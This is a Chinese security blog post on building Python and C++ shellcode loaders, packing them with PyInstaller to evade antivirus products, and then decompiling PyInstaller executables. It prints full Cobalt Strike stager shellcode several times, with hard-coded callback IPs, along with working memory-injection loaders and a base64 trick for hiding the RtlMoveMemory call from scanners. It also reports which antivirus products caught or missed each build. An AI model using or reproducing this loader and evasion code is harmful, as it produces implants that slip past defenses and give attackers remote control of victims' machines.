pyinstaller打包逆向分析,顺便免杀Windows Defender |
您所在的位置:网站首页 › python加密打包 病毒 › pyinstaller打包逆向分析,顺便免杀Windows Defender |
![]() ✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。 乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。 1. python3利用shellcode免杀火绒1.1 什么是shellcode在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后,放入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(来源:百度百科)1.2 python版本 代码语言:javascript复制# -*- encoding: utf-8 -*- # Time : 2021/04/29 11:19:04 # Author: crow import ctypes shellcode = b"" shellcode += b"\x\" shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))1.3 C++版本代码语言:javascript复制#include #include using namespace std; #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #pragma comment(linker, "/INCREMENTAL:NO") int main(int argc, char** argv) { unsigned char ShellCode[] = ""; void* exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, ShellCode, sizeof ShellCode); ((void(*)())exec)(); return 0; }2. 无av条件下使用2.1 cs shellcode这里以python为例,在cs上选择64位的进行生成 ![]() 看下当前的shellcode 2.2 生成py文件![]() 直接对上面的shellcode加载器和shellcode进行组合 代码语言:javascript复制# -*- encoding: utf-8 -*- # Time : 2021/04/29 11:19:04 # Author: crow import ctypes shellcode = b"" # shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4e\x39\x69\x6d\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4f\x70\x65\x72\x61\x2f\x39\x2e\x38\x30\x20\x28\x58\x31\x31\x3b\x20\x4c\x69\x6e\x75\x78\x20\x78\x38\x36\x5f\x36\x34\x3b\x20\x55\x3b\x20\x55\x62\x75\x6e\x74\x75\x2f\x31\x30\x2e\x31\x30\x20\x28\x6d\x61\x76\x65\x72\x69\x63\x6b\x29\x3b\x20\x70\x6c\x29\x20\x50\x72\x65\x73\x74\x6f\x2f\x32\x2e\x37\x2e\x36\x32\x20\x56\x65\x72\x73\x69\x6f\x6e\x2f\x31\x31\x2e\x30\x31\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x31\x35\x2e\x31\x35\x39\x2e\x39\x37\x2e\x33\x35\x00\x00\x00\x00\x00" shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x36\x75\x58\x5a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00" shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))直接运行之后,cs上线 ![]() 直接在win10上当着360的面打包 ![]() 双击之后,直接上线 ???? 大概2分钟之后,360报毒 ![]() 关闭所有的杀毒之后,分别在win10和winserver2019上运行正常,win7本地运行报错 ![]() ![]() 从网上查到了相关的资料: 代码语言:javascript复制failed to execute script pyi_rth_multiprocessing代码语言:javascript复制https://github.com/pyinstaller/pyinstaller/issues/4706![]() 我的系统是64位的,因此这里打包的话,可以将python的版本修改到3.6.5进行打包 ![]() 查杀效果均为联网条件下,时间为2021.04.29日上午10分左右 对于打包的exe文件,静态查杀效果 火绒 360 Windows Defender windows 10 64位 未测 ❌ 未测 windows server 2019 64位 ❌ 未测 ❌ windows7 64位 ❌ 未测 —— 对于未打包的py文件,静态查杀效果 火绒 360 Windows Defender windows 10 64位 未测 ✅ 未测 windows server 2019 64位 ❌ 未测 ❌ windows7 64位 ❌ 未测 —— 当然,在无防护下,理论上所有木马均可上线 3. shellcode免杀这里以Windows7下的火绒为例 完整版: ![]() 报毒 ![]() 删除一段,查杀: ![]() 正常 ![]() 再加入一段,查杀 ![]() 正常 ![]() 这说明查杀的点就在后面一段中,查杀 ![]() 报毒 ![]() 经过多次fuzz发现,火绒对RtlMoveMemory字段敏感 ![]() 当删除RtlMoveMemory之后 ![]() ![]() 因此只要对RtlMoveMemory进行关键字处理应该就可以了,这里对字符进行base64加密再解密,当然也可以用base32等,方法有很多,还可以采用其他的加密 代码语言:javascript复制ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) )整理到一行 代码语言:javascript复制ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))base64加密: 代码语言:javascript复制Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp![]() 然后再进行解码: ![]() 测试是否免杀 ![]() 测试上线是否正常 在win10无杀软的情况下,上线正常 ![]() 那就在win10下打包为exe文件 代码语言:javascript复制pyinstaller -F --noconsole py_shellcode_fuzz.py--console就是不显示命令窗口的意思 ![]() 再次上线测试,正常上线 ![]() 测试: 火绒免杀 静态正常: ![]() 动态上线测试 测试正常 ![]() 正好有个机会在其他的电脑上进行了测试: 免杀电脑管家,金山毒霸 ![]() ![]() vt查询 代码语言:javascript复制https://www.virustotal.com/gui/file/a278c36a24c7315a0d8d7f8c1adf2a4ac927b25f72aca330fdb7ea77be86ac48/detection![]() 接下来就是不能免杀的: windows defender ![]() 360 直接云查杀 ![]() ![]() ![]() 这里做一个统计 查杀效果均为联网条件下,时间为2021.04.30日夜间23时左右 对于打包的exe文件,静态查杀效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ❌ 未测 ✅ ✅ windows server 2019 64位 ✅ 未测 ❌ 未测 未测 windows7 64位 ✅ 未测 —— 未测 未测 对于打包的exe文件,动态上线效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ❌ 未测 ✅ ✅ windows server 2019 64位 ❌ 未测 ❌ 未测 未测 windows7 64位 ✅ 未测 —— 未测 未测 对于未打包的py文件,静态查杀效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ✅ 未测 未测 未测 windows server 2019 64位 ✅ 未测 ❌ 未测 未测 windows7 64位 ✅ 未测 —— 未测 未测 对于未打包的py文件,动态查杀效果 火绒 360 Windows Defender 电脑管家 金山毒霸 windows 10 64位 未测 ✅ 未测 未测 未测 windows server 2019 64位 ✅ 未测 ❌ 未测 未测 windows7 64位 ✅ 未测 —— 未测 未测 这里使用pyinstaller打包的exe文件无法过360和Windows Defender 4. exe文件反编译注意:这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译 4.1 测试环境操作系统:windows 10 python版本:python3.8.7 16进制编辑器:010 editor exe反编译工具:pyinstxtractor.py pyc反编译工具:uncompyle6 4.2 pyinstaller打包程序为exe首先写一个简单的python3脚本 01_easy.py 代码语言:javascript复制# -*- encoding: utf-8 -*- # Time : 2021/06/17 10:45:45 # Author: crow import time while 1: print('hello world') time.sleep(1)然后将该程序使用pyinstaller打包为exe文件 pyinstaller -F 01_easy.py 其中 参数 -F 是为了将程序打包为一个exe文件,而且不产生其他的文件 ![]() 打包完成之后,本地会生成一个dist的文件夹,在这个文件夹里就有一个打包好的exe文件 ![]() ![]() 运行试试: ![]() 此时程序运行正常,解析来就是反编译了 4.3 反编译_pyc针对pyinstaller打包之后的exe反编译工具:pyinstxtractor.py PyInstaller Extractor是可以提取出PyInstaller所创建的exe文件为pyc格式。 下载链接: 代码语言:javascript复制https://sourceforge.net/projects/pyinstallerextractor/将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行 代码语言:javascript复制python pyinstxtractor.py 01_easy.ex![]() 解密成功之后,会生成一个xxx.exe_extracted的文件夹 ![]() ![]() pyinstaller在打包的时候,会将pyc文件的前8个字节清除,所以后期需要自己添加上去,前四个字节为python编译的版本,后四个字节为时间戳。(四个字节的magic number、四个字节的timestamp) 所以在这里可以通过struct文件来获取其中的信息,再添加到01_easy文件里面去 ![]() 因此这里将两个文件单独复制出来,通过16进制查看工具来查看下文件,Windows系统下可以使用winhex,mac系统下可以使用010 editor ![]() 通过对比可以发现,struct比01_easy多了8个字节 ![]() 因此这里可以将这些字节复制插入到01_easy中去。 ![]() 在这里新建了一个文件,将两个进行结合 ![]() 再将文件保存为01_easy.pyc ![]() 得到pyc文件之后就比较容易后去源代码了,这里有两种方法,一个是在线反编译,另一种是使用uncompyle6 其中在线反编译地址为: 代码语言:javascript复制https://tool.lu/pyc在线反编译效果 ![]() 可以看到这个效果不是很好,有一部分代码并没有成功编译出来 那试试uncompyle6,目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6 ![]() 然后直接使用命令uncompyle6 01_easy.pyc ![]() 可以将文件内容保存到一个文本中 代码语言:javascript复制uncompyle6 01_easy.pyc > 01_easy.py![]() 打开之后: ![]() 效果要比在线反编译效果好很多。 5. 免杀exe反编译测试这里将上述的任意exe文件拿来进行测试 ![]() 执行 代码语言:javascript复制python pyinstxtractor.py py_shellcode.exe![]() 取出其中的py_shellcode和struct文件 ![]() 使用同样的方法进行补充,将文件另存为shellcode.pyc ![]() 再将pyc文件转化为源码格式 代码语言:javascript复制uncompyle6 shellcode.pyc![]() 将文件保存到一个py文件中去 代码语言:javascript复制uncompyle6 shellcode.pyc > shellcode.py![]() 打开文件: ![]() 这里可以发现,除了shellcode无法完全还原之外,其他的信息基本上都可以还原,而且准确率很高。 ![]() 这里对文件进行VT查杀 代码语言:javascript复制https://www.virustotal.com/gui/file/bfa0d02e8c1f03189613fbb2188dd20c993ad830c40eeef93480e8b9e4719b92/detection![]() 在使用pyinstaller的时候,可以使用--key参数对生成的exe进行加密,在使用这个参数的时候需要pycrypto库,可以通过pip的方式进行安装,但是保不齐安装的时候会出现一些问题,这里就不再对此展开讲解,直接进行使用。 代码语言:javascript复制pyinstaller -F --key crow123321 --noconsole py_shellcode.py其中--key之后的数字可以自定义 ![]() ![]() 同样的,将两个文件放在一起进行逆向得到pyc文件 ![]() ![]() 开始报错,但是依旧可以生成相应的文件夹 ![]() ![]() ![]() 这里使用同样的方法来对这两个文件进行测试,将新生成的文件保存为shellcode_key.pyc ![]() ![]() 将文件重定向到py文件里面去 ![]() ![]() 打开之后发现,文件和未使用--key参数的效果基本没什么变化。 --key的参数针对的只是依赖库进行了加密而已。 ![]() 总体上来讲,python打包的exe都是可以破解的,就算使用cython来写,依旧是可以破解的,只是时间问题而已,但是在这还是提出一些略微有效的方法(自欺欺人) 将所有的代码进行封装为一个函数,在一个新的文件中引用,其中py_shellcode_fuzz.py里的文件内容不变,只不过将其封装为一个函数,test.py来调用这个函数 ![]() py_shellcode_fuzz.py: 代码语言:javascript复制# -*- encoding: utf-8 -*- # Time : 2021/06/17 17:12:27 # Author: crow import ctypes,base64 def shell(): shellcode = b"" shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x43\x4e\x53\x79\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00" shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) string = 